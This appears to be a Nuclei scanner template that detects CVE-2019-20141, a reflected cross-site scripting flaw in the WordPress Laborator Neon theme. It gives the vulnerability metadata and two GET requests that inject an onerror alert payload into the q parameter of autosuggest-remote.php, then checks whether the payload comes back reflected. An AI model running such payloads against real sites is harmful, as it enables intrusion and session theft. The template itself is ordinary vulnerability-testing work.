id: CVE-2019-20141

info:
  name: WordPress Laborator Neon Theme 2.0 - Cross-Site Scripting
  author: knassar702
  severity: medium
  description: WordPress Laborator Neon theme 2.0 contains a cross-site scripting vulnerability via the data/autosuggest-remote.php q parameter.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing administrative actions on behalf of users.
  remediation: |
    Apply the latest security patch or update provided by the theme developer to fix the XSS vulnerability.
  reference:
    - https://knassar7o2.blogspot.com/2019/12/neon-dashboard-cve-2019-20141.html
    - https://knassar7o2.blogspot.com/2019/12/neon-dashboard-xss-reflected.html
    - https://knassar702.github.io/cve/neon/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-20141
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-20141
    cwe-id: CWE-79
    epss-score: 0.12494
    epss-percentile: 0.94024
    cpe: cpe:2.3:a:laborator:neon:2.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: laborator
    product: neon
    framework: wordpress
  tags: cve2019,cve,xss,laborator,wordpress,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/data/autosuggest-remote.php?q="><img%20src=x%20onerror=alert(1)>'
      - '{{BaseURL}}/admin/data/autosuggest-remote.php?q="><img%20src=x%20onerror=alert(1)>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><img src=x onerror=alert(1)>>)1(trela=rorreno"

      - type: word
        part: header
        words:
          - "text/html"
# digest: 4a0a004730450220427d0667b796762a2e1708ce4631c3e3ed0f1e9aa74055601a389aac917320cc022100c0aff0e2dc292184a4ba344e175766aa1b6e5e2190dc7af298c6a52bd587f09b:922c64590222798bb761d5b6d8e72950